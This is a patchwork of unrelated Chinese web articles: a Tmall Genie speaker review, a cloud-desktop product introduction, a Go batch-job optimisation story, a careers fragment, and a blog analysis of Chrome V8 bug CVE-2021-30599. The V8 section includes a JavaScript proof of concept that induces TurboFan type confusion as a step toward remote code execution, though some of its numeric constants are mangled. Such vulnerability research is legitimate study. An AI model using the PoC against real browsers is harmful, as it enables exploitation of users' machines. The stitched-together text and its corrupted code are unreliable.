暂时未有相关云产品技术能力~
首先感谢阿里云开发者社区邀请我对天猫精灵做一个评测,我说最近这段时间使用天猫精灵的一些感悟和测试评估。一:漂亮脸蛋,客厅中的艺术品 天猫精灵的机身顶部弧度、机身腰线都很好,运用最简单的几何学原理,配合爵士银的色彩,就像是一款艺术品,这种简约设计风格也可以更好地让产品融入到家居环境当中。对于男性用户来说,这样的设计风格也更符合审美标准,不会像其他音箱那么花里胡哨,显得高端典雅。 当然,简约的设计并不意味着功能的缺失,天猫精灵在顶部集成了一颗“精灵键”,它将状态灯与触控键合二为一,具备了消息提示、闭麦提示、对话闪动等功能。 不仅如此,天猫精灵的这颗按键还可以自定义设置功能,譬如一键帮你播报语音头条、或者是查询天气信息、报时等,甚至还可以实现一键控制家中其他联网的智能硬件以及一键通话,让操作变得更简单快捷。当你完成了相关设置之后,对于家里的老人与孩子来说,就不用再花时间去学习操作了。 在细节设计上,天猫精灵还是采用了外接电源的设计,但在机身底部加入了一个USB接口。此外,天猫精灵的底座机身比较小一些,从正面效果看会有些许“悬浮”效果。 整体的设计风格上,天猫精灵的设计让人感到舒适,白色与银色的碰撞搭配也比较协调,这样一来,无论是摆放在客厅还是卧室,都不会显得太过于突兀,一张漂亮的脸蛋,总是能够给人愉悦的印象 二、动人声线,CD级的音乐享受 天猫精灵作为一款智能音箱,最受关注的自然还是在于音质上的表现。根据官方的数据显示,在硬件上,天猫精灵搭载了旗舰级 Hi-Fi 芯片,可实现三段式DRC自动增益控制,还有15阶动态EQ算法可以进行均衡调节,能呈现更丰富的音乐细节。 与此同时,天猫精灵还内置了一颗2.25寸12W的钕铁硼单元,在竞品对比中,天猫精灵的尺寸更大,而这可以带来更大冲程和磁缸性能,具备750cc音腔的震撼低音,在通过金耳朵声学团队的悉心调教之后,加入了“自学习动态EQ”算法,通过AI 自学习算法可以让不同风格的音乐拥有最佳的音效风格,音质效果得到显著提升。 我们也体验了一把天猫精灵X5的音质,实际听音表现,天猫精灵的表现出色,驱动力十足,尤其是在中低音量下尚能展现较好的解析力和结像力,随着音量增大,层次感也很鲜明。声场轮廓没有过于僵硬分明的切割,这更像是智能音箱在“唱”一首歌给你听。 我们也了解到,之所以有这样出色的表现,是因为天猫精灵搭载了800CC音箱容积,还有6800平方毫米的双被动辐射盘,360° 导音锥设计则让天猫精灵X5拥有了大部分音箱都不具备的360° 出音效果。笔者个人认为,国内普通消费者大都是以低频的力量、质感与速度这三者作为评判音质的第一标准,很多男性用户也往往喜欢更有动感的低频节奏旋律,而天猫精灵X5在低频质感还原上做得相当不错,鼓点的音色还原表达的相当理想,富有冲击力的皮鼓声音很好展现出鼓点的层次感与柔韧性。 天猫精灵具备了千万正版音乐资源,还支持了跨平台导入虾米音乐、网易云音乐、QQ音乐等APP的用户收藏歌单,更加了解用户的喜好。此外还有喜马拉雅、蜻蜓FM、奥登读书等音频资源,在儿童内容上也有学而思、宝宝巴士等资源可以选择。 值得一提的是,天猫精灵还有一颗音乐节奏律动灯,可以根据音乐的旋律闪烁不同的灯效,让音乐的旋律与节奏具象化,也算是给音乐增加了一点趣味性。如果你想要让音效变得更完美一些,还可以用两个天猫精灵X5组合成立体声音效,这样一来就变成了居家私人小剧院了。 三、智慧生活,一步到位的便捷 对于笔者这样的用户而言,实际并不愿意花太多的时间跟精力去琢磨一件产品,也认为科技产品的第一要义是要做到“人性化”,最直接的就是提供一步到位的便利体验。天猫精灵X5作为一款智能音箱,依旧还是发挥出了前文所说的“智慧生活入口”的作用,操作起来也很方便。在登录天猫精灵APP并且绑定了淘宝等账号之后,天猫精灵X5能实现的功能就变得非常丰富了,你可以使用“语音购物”,空间感知功能还可以自动分辨出离你最近的天猫精灵温馨回答,避免出现多台音箱混乱的尴尬。 为了保障语音购物的资产安全性,天猫精灵内置了声纹支付功能,你可以在开通这一功能之后,直接对天猫精灵说出你想要购买的商品,它就会为你推荐相关的商品,并且播报具体信息,最终还会让你确认最终的发货地址以及支付。 在智能硬件控制这一点上,天猫精灵目前可以支持近1000品牌,2.4亿+可接入智能设备,80+可控品类数,通过语音控制就能完成家居智能硬件的控制,如果配合语音开关插排或者红外万能遥控器使用,也可以让传统家电变得智能起来,实现真正的一句话就搞定的操作,开灯、开空调、开电视或者扫地机器人等都不再需要你亲自“出手”!四、核心功能:适合全家人使用1、专属儿童模式,十级“婴语”高精度语音识别一直是智能音箱重点优化的核心,更别说我们的受众是十级“婴语”孩童和一口带有浓重家乡口音普通话的父母。所以针对12岁以下儿童声道发育不完整、语言组织能力差、发音不清的问题,天猫精灵专门做了儿童语音识别的算法升级。通过过去半年验证模型,天猫精灵成为首款专有儿童语音识别(ASR)链路的产品,儿童ASR交互与成人模式一样流畅。从实际体验来看,不管是我3岁的侄子还是我家邻居的5岁小孩,天猫精灵均能成功地识别他们的指令。而且远场拾音准确度也很高,4、5米开外也能轻松交互。除了语音识别方面,针对儿童网络内容安全方面特地推出了“儿童模式”(声控即可进入儿童模式,但首次进入需要家长设定四位数密码),儿童模式下所有的内容均经过官方严格审核筛选,内容以教育、动画、科普、纪录片内容为主,支持按年龄定制内容。2、长辈模式,简约交互针对老人同样推出了“长辈模式”,长辈模式有点类似于手机的“老人模式”,整个UI界面更加清爽、简洁,适合老年人使用五、总结:从一代智能音箱落地以及后期的带屏智能音箱,依旧脱离不开智能家居入口和“玩具”的身影。此次天猫精灵智慧屏的诞生可以说从根本上改变了智能音箱功能单一的现状,开辟了家庭应用场景,解决了具有中国特色“异地陪伴”这一难题。通过互联网的方式,将智能音箱作为家庭成员之间远程联系的介质,同时针对不同人群开发出了儿童模式和老人模式
早在chrome一次更新修复该漏洞后就关注到了这个漏洞,不过当时是一个研究者一次提交了两个漏洞,还都是21000美元的高悬赏,我当时只注意到了CVE-2021-30598的两次patch,看到其中一次将typeguard改为checkbound,猜测是可以达到rce的。现在两个漏洞都已公开详情页,提交者给了很详细的描述30599(https://bugs.chromium.org/p/chromium/issues/detail?id=1234770)30598(https://bugs.chromium.org/p/chromium/issues/detail?id=1234764)环境搭建在v8环境搭完后git reset --hard 27a517b8922915f53d479133205ee80b35ac2febgclient sync漏洞分析这是发生在machine-operator-reducer.cc(https://crrev.com/574ca6b71c6160d38b5fcf4b8e133bc7f6ba2387/src/compiler/machine-operator-reducer.cc)中的漏洞(Turbofan),具体来说是其中的BitfieldCheck的一些处理不正确。static base::Optional Detect(Node* node) {// There are two patterns to check for here:// 1. Single-bit checks: (val >> shift) & 1, where:// - the shift may be omitted, and/or// - the result may be truncated from 64 to 32// 2. Equality checks: (val & mask) == expected, where:// - val may be truncated from 64 to 32 before masking (see// ReduceWord32EqualForConstantRhs)if (node->opcode() == IrOpcode::kWord32Equal) {Uint32BinopMatcher eq(node);if (eq.left().IsWord32And()) {Uint32BinopMatcher mand(eq.left().node());if (mand.right().HasResolvedValue() && eq.right().HasResolvedValue()) {BitfieldCheck result{mand.left().node(), mand.right().ResolvedValue(),eq.right().ResolvedValue(), false};[ ... ]可以看到对于(val & mask) == expected这种操作会被替换为BitfieldCheck,然后在一些情况下,两个BitfieldCheck会合并成一个,比如((x & 0) == 1) & ((x & 1) == 0),这样的情况就会由二合一,但是漏洞也是在合并过程中产生的。base::Optional TryCombine(const BitfieldCheck& other) {if (source != other.source ||truncate_from_64_bit != other.truncate_from_64_bit)return {};uint32_t overlapping_bits = mask & other.mask;// It would be kind of strange to have any overlapping bits, but they can be// allowed as long as they don't require opposite values in the same// positions.if ((masked_value & overlapping_bits) !=(other.masked_value & overlapping_bits)) <---------[1]return {};return BitfieldCheck{source, mask | other.mask, <------------[2]masked_value | other.masked_value,truncate_from_64_bit};}我们可以看到满足[1]处的检查之后就会由[2]完成合并BitfieldCheck的操作,但是这个检查靠谱吗?对 (x & A) == B来说,masked_value就是B,mask就是A(猜测)。overlapping_bits = mask & other.mask,这一条件当mask1和mask2的bit的集合完全没有交集时,overlapping_bits就成了0。那么masked_value & overlapping_bits中无论masked_value多大,结果都是0,所以[1]处的判断在overlapping_bits == 0时是不成立的,那么这会导致之后的合并结果出错吗?答案显然是会的,思考((x & 0) == 1) & ((x & 1) == 0)经优化后会成为(x & (1|0)) == (1|0) => (x & 1) == 1,与优化前,也就是合并前的结果是截然不同的。漏洞利用要想达到rce的效果需要与CVE-2021-30598中对typer的patch结合才行,不然绕不掉CheckBounds(CheckMap)没法越界。我们先构造到typer认为x == 0, y == 0, 但是 (x&y) == 1的地步,下面描述下漏洞作者的记录。首先最简单的做法就是做一个明显无法成真的等式,来赋值x和y满足以上,比如 (a & 1) == 42,这个显然无论a为多少都会得到0,但是正是因为如此,在优化过程中会触发常量折叠导致直接从一个等式变为了常量false,我们虽然可以通过let x = bool_var |0 来使得false变为0,但也会使得后续无法进展。所以我们需要使用不是特别明显只有一种结果的等式,比如(a & 5) == 2 and (a & 6) == 1这样二者合并后,(a & 7) == 3,在a=3时结果为1,但这还远远不够。其实我们可以引入一个不确定变量来防止前期优化阶段的常量折叠,比如上面的a就是给优化的函数传入的参数,因为不确定a到底是多少所以就不会被折叠掉。但是因为优化的原因当我们多次传入同一个数时,他还是会按传入的数去优化直接替换成对应的数。类似的还有把直接用0,改为o1 = {a : 0},然后用o1.a去替代0的位置,但是这个虽然在typer阶段不会被折叠,但是在后续的优化阶段还是会被识破的,比如LoadElimination阶段会把其直接替换成常量0。真正可以用上的方法是string的下标取值操作,array-length节点会很晚才被常量折叠掉,不过因为如此操作产生typer的是CheckBounds节点,显然不属于哪个变量,我们无法直接使用,ReduceSpeculativeNumberOperation中会将CheckBounds节点替换成NumberConstant节点。Reduction RedundancyElimination::ReduceSpeculativeNumberOperation(Node* node) {DCHECK(node->opcode() == IrOpcode::kSpeculativeNumberAdd ||node->opcode() == IrOpcode::kSpeculativeNumberSubtract ||node->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd ||node->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract ||node->opcode() == IrOpcode::kSpeculativeToNumber);DCHECK_EQ(1, node->op()->EffectInputCount());DCHECK_EQ(1, node->op()->EffectOutputCount());Node* const first = NodeProperties::GetValueInput(node, 0);Node* const effect = NodeProperties::GetEffectInput(node);EffectPathChecks const* checks = node_checks_.Get(effect);// If we do not know anything about the predecessor, do not propagate just yet// because we will have to recompute anyway once we compute the predecessor.if (checks == nullptr) return NoChange();// Check if there's a CheckBounds operation on {first}// in the graph already, which we might be able to// reuse here to improve the representation selection// for the {node} later on.if (Node* check = checks->LookupBoundsCheckFor(first)) {// Only use the bounds {check} if its type is better <----------[1]// than the type of the {first} node, otherwise we// would end up replacing NumberConstant inputs with// CheckBounds operations, which is kind of pointless.if (!NodeProperties::GetType(first).Is(NodeProperties::GetType(check))) {NodeProperties::ReplaceValueInput(node, check, 0);}}return UpdateChecks(node, checks);}为了触发ReduceSpeculativeNumberOperation函数,我们需要创造出那几个特定的节点,比如SpeculativeNumberAdd,通过x + (o.cf ? “” : 0)操作可以达到,cf是false。但是这么做也有问题,那就是当CheckBounds被替换为新节点后需要再一次typer来给替换上的节点加上type,而以上做法并不会触发再一次typer,解决方法如下。However, there is an additional problem: While the CheckBounds-node is inserted, the type of the addition itself actually never gets updated, as there is nothing to trigger a re-typing.This can be fixed by adding a larger number like 2**30, which will result in a NumberOperationHint of kNumber instead of kSignedSmall, which will make typed-optimization.cc change the node into a regular NumberAdd during the LoadElimination-phase.对应代码Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node node) { ... NumberOperationHint hint = NumberOperationHintOf(node->op()); if ((hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball) && BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) && NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) { // SpeculativeNumberAdd(x:-string, y:-string) => // NumberAdd(ToNumber(x), ToNufunction bar(a, arg_true) { Node const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); Node const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); Node const value = graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); ReplaceWithValue(node, value); return Replace(value); } return NoChange(); }上面我们加上2**30后当然需要再减去,所以We then subtract 2**30 again, resulting in a SpeculativeNumberSubtract-node that is again replaced by a regular NumberSubtract.Once everything has been lowered to 32-bit integer operations, the addition and subtraction will be combined to an addition of 0 and then eliminated, thus they aren’t interfering with triggering the wrong optimization.当然为了防止常量折叠使得我们一次加一次减直接被优化消失掉,我们还需要引入一个未知变量,所以我们可以把原本230的地方改为230 – (c0&1),这样(o.cf ? “” : (230) – (o.c0&1)) – (230)最后的type就是Range(-1, 0)而不是(0, 0),还能防止被优化掉。如果我们用以上操作设置x和y的值之后,那么二者type都是Range(-1, 0),看下x&y后的type。Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {...double min = kMinInt;// And-ing any two values results in a value no larger than their maximum.// Even no larger than their minimum if both values are non-negative.double max =lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);// And-ing with a non-negative value x causes the result to be between// zero and x.if (lmin >= 0) {min = 0;max = std::min(max, lmax);}if (rmin >= 0) {min = 0;max = std::min(max, rmax);}return Type::Range(min, max, zone());}显然x&y后的type是Range(-1, 0),实际是1,但是二者的所在优化阶段产生了冲突,为了以上的情况能够得以实现,下面还需要其他操作,这里有些细节导致难度加大。However, one last obstacle remains: the type propagation to the additions and subtracions only happens during the LoadElimination phase; the BitwiseAnd however is only given a type once during the initial Typer phase; we can’t use the typed optimization again as there is no equivalent “SpeculativeNumberAnd”.So we need to somehow take the bounds information from the later LoadElimination phase and make it available already during the earlier Typer phase.我们可以使用Math.min(232-1, x+(232-1)) – (2**32-1),之后可以使得typer知道这里不会有正数结果,这是在最开始的typer阶段就可以确定的,在后面同样用其他手段使得在对应阶段也是这个Range。之后为了得到Range(0, 0)实际值是-1的变量,我们先使用其和-1进行Max运算,然后再取反并右移31位。完整Poc如下:function bar(a, arg_true) {let o = {c0: 0, cf: false};let x = ((a&5)==2)|0;let y = ((a&6)==1)|0;"a"[x];"a"[y]; // generate CheckBounds()x = x + (o.cf ? "" : (230) - (o.c0&1)) - (230); // type is Range(-1,0), but only after LoadEliminationy = y + (o.cf ? "" : (230) - (o.c0&1)) - (230);x = Math.min(232-1, x + (232-1)) - (2**32-1); // type is Range(-1,0) already during Typery = Math.min(232-1, y + (232-1)) - (2**32-1);let confused = Math.max(-1,x & y); // type is Range(..., 0), really is 1confused = Math.max(-1, confused); // type is Range(-1, 0), really is 1confused = ((0-confused)>>31); // type is Range(0, 0), really is -1return confused;}console.log(bar(3, true));for (var i = 0; i < 310*4; i+=1) bar(0,true);console.log(bar(3,true));以上并不是达到rce的完整exp,还需要iterator.next的配合。————————————————版权声明:本文为CSDN博主「IT枫斗者」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/Andrew_Chenwq/article/details/122697661
很多小伙伴肯定比较懵逼,无影云到底是什么?我们了解一下什么是无影云桌面?阿里云推出无影云桌面,很多用户不清楚云桌面是什么,云桌面是一种安全高效的云上桌面服务,一般用于企业办公。云桌面支持快速便捷的桌面环境创建、部署、统一管控与运维。企业选择云桌面无需前期传统硬件投资,云桌面可以快速构建安全、高性能、低成本的企业桌面办公体系。阿里云百科来详细说下什么是无影云桌面以及云桌面和传统PC、VDI之间的区别:1、无影云桌面1.1:阿里云无影云桌面是阿里云推出的一款易用、高效且安全的云上桌面服务。 以企业用户为例,企业用户无需前期传统硬件投资,使用云桌面即可快速构建安全、高性能、低成本的企业桌面办公体系。1.2:阿里云百科举几个例子,方便大家更好的认识云桌面。例如:办公电脑配置太低,性能不足,更换硬件又太麻烦,可以直接选择无影云桌面;居家办公或者出差,使用外网无法访问企业内网资源,可以选择云桌面解决;企业临时申请办公电脑,申请或退还太麻烦,可以使用云桌面实现。1.3:阿里云无影云桌面架构 如上图,无影云桌面根据工作职责和使用需求分为管理员和终端用户两类:· 管理员:运维管理人员,负责统一管理,包括管理工作区、桌面、策略、镜像、网络、存储等。· 终端用户:使用云桌面的用户,可通过客户端方式连接到云桌面。2、云桌面、传统PC及VDI区别对比2.1:之前有用户问无影云桌面和云服务器有什么区别?可以使用云桌面当作云服务器使用吗?云桌面一般用作个人电脑,没有公网IP地址,而云服务器一般需要对外提供服务,而且云服务器现在价格很便宜,阿里云2核4G服务器6M带宽68元一年,三年204元。阿里云百科来详细说下无影云桌面、传统PC及VDI区别:2.2:无影云桌面、传统PC及VDI区别对比传统PCDaaSVDI独立分散的个人桌面云上的桌面服务,可以随时随地访问自建集群,桌面可集中维护数据保存在客户端,用户行为不可控,安全难以保障数据保存在云端,高可靠存储,安全无忧数据保存在服务器,安全性有一定保障需一次性购置基础硬件设施,成本压力大无需投资基础硬件设施,即用即买,灵活弹性,成本节约需一次性购置基础硬件设施,成本压力大资源采购和交付周期长,升级、变配困难云上集中管理,运维简单高效随着规模增大,运维难度增加2.3:无影云桌面具有以下功能优势:管理高效经济· 可快速创建、分配和释放桌面,提高桌面交付效率。· 云上集中管理,运维简单高效。· 提供CPU、GPU多种规格,即用即买,按需计费,灵活弹性。数据可靠安全· 数据不存放云下,存放于高可靠的云端存储。· 桌面运行于阿里云全托管的基础设施之上,您无需关心设施运维。· 可灵活配置安全策略,提供USB重定向、本地磁盘和剪贴板读写权限控制、桌面水印等功能。· 支持用户操作日志审计功能,提高安全性。访问安全便捷· 可通过公网、内网、专线等网络连接。· 安全网关实现网络隔离,保障访问安全。· 支持Windows、macOS客户端方式连接到云桌面,可随时随地访问云桌面。· 支持USB重定向功能,可接入U盘、打印机等多种外接设备。集成企业AD· 可接入企业Active Directory(AD)目录服务,完美对接企业已有的管理体系。· 支持跨网络、跨地域的云桌面访问,可满足大规模企业的异地管理需求。集成云上服务· 与阿里云其它服务紧密集成,可快捷地组成各种办公方案。· 使用一体化控制台,与阿里云其它服务和IT设施集成,高效管理桌面办公系统。管理企业应用· 可统一购买、分配和授权应用,便于企业统一管理,降低应用管理成本。· 支持企业上传自有应用并在云桌面中分发,满足企业多样化的办公需求。 3.无影云桌面实际工作中的用法:3.1阿里云开发者社区小姐姐找到,我按照链接领取了试用无影桌面,很快就设置好了。3.2我们根据绑定邮箱,然后修改自己的登陆密码,登陆进入桌面,是这样的。现在看来这不是又多了一台远程电脑了嘛,而且还要阿里技术安全团队给你保驾护航,安全问题不用当心。 其实“无影”最适合的是一些企业的办公需求,因为在办公需求下,云电脑是可以的,而且优点非常的多。比如:数据更安全,不需要维护,而且可以随时添加与减少设备量,尤其适合程序员行业使用。外出办公也会方便,以前要带一个笔记本,现在只需要带上它和键盘鼠标,就可以,到了宾馆连接电视就可以进行办公。这是以上对阿里云无影云电脑初步了解,目前才接触,没有太深的了解,不敢妄自菲薄,欢迎大家一起讨论和开发出他的心玩法!
背景腾讯自选股 App 在增加了综合得分序的 Feed 流排序方式:需要每天把(将近 1000W 数据量)的 feed 流信息进行算分计算更新后回写到数据层。目前手上的批跑物理机器是 16 核(因为混部,无法独享 CPU),同时剩下可用内存仅 4-8G。显而易见的是:我们可以申请机器,多机部署,分片计算或者通过现有的大数据平台 Hadoop 进行运算都看似可以解决问题。但是由于更新 feed 流的操作需要依赖下游服务(这里暂且叫 A,后续文中提到下游服务均可称 A 服务),而下游的服务 A-Server 本身是个 DB 强绑定的关系,也就说明了下游的服务瓶颈在于 DB 的 QPS,这也导致了即便我本身的服务多机部署,分片处理,下游服务的短板导致不可行。而针对方案二通过大数据平台完成的话,也就是需要推荐大数据的部门协助处理,显然这个是需要排期处理,而时间上也是不可预估。既然如此,那就借用,朱光潜老先生的一篇文章《朝抵抗力最大的路径走》。我本人相信通过合理的资源调度以及更低的成本可以克服眼前的困难,实现最终的需求效果。当然优化过程中并不是一帆风顺,当然经过两周左右的优化迭代,也终于实现了。业务主要流程流程整个 flush 的业务流程大致如下:读取 DB 获取目前所有的 feed 类别(约 2-3w 的数据)通过类别读取 Cache 每一个类别下的 feed 流元素的索引(约 1000-10w 的数据)通过每一个信息的索引查询 feed 流所对应的基础数据信息(需要查约 3-4 张表)计算每一个 feed 元数据的得分信息(1000w 的数据量),过程中需要淘汰一部分,调用服务 A-Server 删除当前的索引根据权重计算每一个 feed 的元素的信息,调用下游服务 A-Server,update 索引分值主要业务流程图具体如下针对上述的业务逻辑,设计出了最初方案查询 DB 或者本地缓存获取索引 feed 流中的现有全集类别foreach 类别集合 Collection,查询目前所以的类别下的 feed 数据流集合并存储到 Map 中,其中 key 是类别,value 是类别对应的数组集合(key:category,value:colletion)foreach 上述获取的 Map 并发起 goruntine 查询每一条信息流元素对应的基本信息,并通过粗排来淘汰需要淘汰的元素(考虑到下游的并发和 DB 的负载问题,每查询一批,sleep 一段时间),把最终符合要求的元素存储到 map 等待后续更新得分,并刷入缓存和 DBforeach 上述粗排后的 Map,最终并发起 goruntine 调用下游 A-server,更新 feed 流的索引得分方案图如下最初方案缺陷尽管考虑到将近 1000W 的数据虽然在处理过程中,内存会是问题,于是在使用后的集合或者 Map 都会及时清空Map=nil []string=nil // 清空已使用的内容runtime.GC() // 发出GC的请求,希望发起GC 但是问题还是出现了内存跑满(由于机器总内存 18G,所以基本是内存直接跑满了)Cpu 也基本瞬间跑满 堆栈中的异常compress@v1.12.2/zstd/blockdec.go:215 +0x149created by github.com/klauspost/compress/zstd.newBlockDec/root/go/pkg/mod/github.com/klauspost/compress@v1.12.2/zstd/blockdec.go:118 +0x166 goroutine 61 [chan receive, 438 minutes]:github.com/klauspost/compress/zstd.(*blockDec).startDecoder(0xc006c1d6c0)/root/go/pkg/mod/github.com/klauspost/compress@v1.12.2/zstd/blockdec.go:215 +0x149 created by github.com/klauspost/compress/zstd.newBlockDec/root/go/pkg/mod/github.com/klauspost/compress@v1.12.2/zstd/blockdec.go:118 +0x166 goroutine 62 [chan receive, 438 minutes]:github.com/klauspost/compress/zstd.(*blockDec).startDecoder(0xc006c1d790)/root/go/pkg/mod/github.com/klauspost/compress@v1.12.2/zstd/blockdec.go:215 +0x149 created by github.com/klauspost/compress/zstd.newBlockDec/root/go/pkg/mod/github.com/klauspost/compress@v1.12.2/zstd/blockdec.go:118 +0x166 goroutine 63 [chan receive, 438 minutes]:github.com/klauspost/compress/zstd.(*blockDec).startDecoder(0xc006c1d860)/root/go/pkg/mod/github.com/klauspost/compress@v1.12.2/zstd/blockdec.go:215 +0x149 created by github.com/klauspost/compress/zstd.newBlockDec/root/go/pkg/mod/github.com/klauspost/compress@v1.12.2/zstd/blockdec.go:118 +0x166s 因为堆栈给的信息不多,但是从机器上看基本是 goruntine 开启的太多,并发量太大,同时大量的数据同时加载到内存,导致了机器的内存和 Cpu 的负载过高针对上述的问题,设计出了第二套方案自己实现一套协程池预分配一个内存块,维持一个对象池对象池具体改进点如下 线程池实现比较简单,这里就直接上代码// 线程池对象type PoolBuilder struct {workerNum int // Worker 线程数量 DelJobChan *chan string // 缓冲队列 }// 创建一个协程池func (pool *PoolBuilder) listenAdd(num int) {for i := 0; i < num; i++ { go func(i int) { // addWorker(pool.AddJobChan) }(i) } }// 任务写入队列func (pool *PoolBuilder) InsertAddChannel(id string, score int64) {log.Infof("send value to add channel,%s", id) pool.AddJobChan.In <- &AddChannel{ id: id, score: score, } } 优化后的方案缺陷:内存和 Cpu 的负载相对降下来了,但是由于下游服务 A-Server 是对 DB 的强依赖的类型,所以突然的高并发,DB 的瓶颈成了 A-Server 的服务瓶颈如果并发量降下来,但是 6 个小时内完成 1000w 的数据读库,业务计算,算法排序以及删除和更新每一条数据的得分,显然不够陷入僵局全量的数据计算,并发高,下游服务,下游存储资源扛不;相对并发不高的情况,数据计算不完。与组内小伙伴商量,可以采用大数据平台计算不失一种好的办法。看似最优解,但是大数据平台接入,以及推动大数据平台的开发也是需要走排期等流程。参考开源,集思广益经过了两周的专研和思考,我最终从:hadoop 的 mapreduce 分而治的思想、vert.x 的全异步链路(本人超级喜欢的一个框架,使用后,根本不想写同步代码了)以及 Linux 的内核调度机制的三种优秀的设计中借鉴了一些思路,最终完成了 40 分钟跑千万级别的数据优化!1、Hadoop 的 mapreduce 分而治的思想把任务拆分成若干分,然后分配给一个 woker让每个 worker 处理手中的任务,并把处理后的子任务汇集到一个 woker-Awoker-A 负责把所以的子任务结果,汇总处理,并返回启发我可以把每一个类别分配给一个协程处理,而每一个协程只负责每一个类别下的所以数据,这样协程的数量也就是类别的数据,这样进一步节省了协程数量,但是由于 merge 的结果在最终一步,这样的话内存就需要存储处理后全量数据,这一点与目前的内存有限不符合,所以这里借鉴了把任务分发的思想2、Linux 的内核调度机制(非 epoll)在 Linux 的中内核调度中,我们知道非 epoll 的模式中,无论是 poll 和 select 的时候,都会有一个 select 来负责后续的任务调用和分配,用官方的描述就是:select 轮训设置或检查存放 fd 标志位的数据结构进行下一步处理。如果满足状态,就会扭转到下一个步,唤起相应的进程函数调用。启发这里可以参考 select 这个负责任的角色,当然改进的地方是我可以增加多个协程来并发查询所以类别,并进行分发类别处理,这样话,下游的协程池就可以尽可能的在完成一次调度后,马上进行下一次调度(因为分配任务的协程多了),而不会进入调度空闲的状态。这里就直接使用网上的一张图:3、vert.x 全异步链路我将这个 vert.x 标红了,可以看到这里 vert.x 给我的启发是最关键也是最大的。上述问题,我反复思考,我发现,其实我如果突然的高并发,必然导致了下游的服务负载过高从而导致 DB 和下游服务扛不住。如果我能平滑的并发,而不是从某个时间点起,并发操作,也许就能解决这个问题!并发代码我们写的多,但也许我们大家写的只是并发而不是真正的异步,因为我们在开始或者函数汇总的结果初我们都会使用阻塞,当然我也是有短时间没有写全异步的代码了,所以思想固化了,具体案例如下分析:这种在主线中启动并发或者异步的处理,最终还是需要在主线程中使用 wait 来阻塞等等所以线程的结果处理完毕,这样看似提高的吞吐量,但是由于需要对并发线程或协程的结果进行汇总计算,这样就注定要把大量的结果集合存储到内存,然后进行后续的操作。这样的异步更像一种伪装异步。而在 vert.x 中是将上下游的数据通信都是用了 callback 的方式处理,而正是这样,这个框架的做到了全链路的异步逻辑。这里我们看看这个框架的核心思想:Vertx 完成采用另一个机制,用一个线程来接受请求(也可以是几个,注意是几个,不是几百个),而把这个真正要执行的任务委托给另外一个线程来执行,从而不会堵塞当前线程另外在 Vert.x 中的调度模型也正是使用了 Linux 的 epoll 的事件驱动的机制,大致如下整体来看 vert.x 的做到了:1.非阻塞处理请求,异步执行阻塞程序,保证了请求处理的高效性。2.使用 Event Bus 事件总线来进行通讯,可以轻松编写出分布式、松耦合、高扩展性的程序这里可以展示一下 Vert.x 的异步代码public class Server extends AbstractVerticle {public void start() {vertx.createHttpServer().requestHandler(req -> { req.response() .putHeader("content-type", "text/plain") .end("Hello from Vert.x!"); }).listen(8080); }}对异步代码有兴趣的小伙伴一定要看看:https://vertx.io/优化改造开始借鉴了上述优秀的思想,我对自己的服务做了以下改进:1、我构造了 4 个协程池,分别是查询类别 category、查询 DB 基本信息、根据算法计算综合得分、和数据更新回写;2、从主协程开始,不做任何阻塞,查询类别的协程协程池,每查询一个类别,结果直接丢到 channelA(不阻塞然后继续擦下类别)3、查询 DB 的协程,监听 channelA,当发现有数据的时候,查询 DB 信息,并将结果丢到 channelB(同上不做任何阻塞,继续查询下一条数据的结果集合)4、帖子得分协程池读取 channelB 的数据,然后根据算法计算处理帖子的得分,并将结果集合丢到 channelC(同样不做任何阻塞,继续计算下一次的得分数据)5、而数据回写的协程负责调用下游服务 A-Server,处理后完,打 log,标记处理的偏移量(由于没有阻塞,需要跟着最终所以数据是否处理完成)业务架构设计如下:优化效果:1、协程数 6w->100!,这里协程数从 6w 降到了 100 个协程就 Cover 住了整个项目2、内存使用情况,从基本跑满到仅仅使用 1-2G 的正常内存3、CPU 的使用 460%的使用率直接降到 65% 4、计算数据量 1000w 的时间 6 个小时并发算不完到 46 分钟计算完成!总结2022 年一个新的开始,没想到自己的坚持看到了效果,自选股的业务中也因此可以接入综合得分序列的 feed 流,我相信这个是一个好的开始,在这个基础上,我们可以根据个人画像做更多的智能推荐,期间大伙的建议更多是借用大数据平台计算,而实际的推进和排期让我更愿意用自己的方式以最低的成本最优的结构去优化完成,当然这次很幸运,自己的努力实现了!
前言:如果想要入坑,请看完下面这段话! 工作难找,入坑不易,请根据自己的情况再做决定,且行且珍惜! 大家都说近两年疫情导致行情不太好,确实比起往年工作机会是少了很多,但我觉得事事是相对的。我入坑比较早,好几年了,各种各样的人和事都遇到过,也面试过很多人! 当然我也发现了一个问题,就是近几年,入行的越来越多,而且很多都是无脑入行,有的高中毕业,有的甚至什么学历都没有,一时冲动跑去培训,所以随着而来的问题也来了,出来后发现别人宣传的时候只宣传好的一面,只宣传那些学的特别好的,比较优秀的,找到高薪的,然后自己工作找不到还处处遇挫折,面对巨额贷款,一边是父母家人的压力,一边自己仅存一点坚持与自尊心,在这些双重压力下,真的会出问题的! 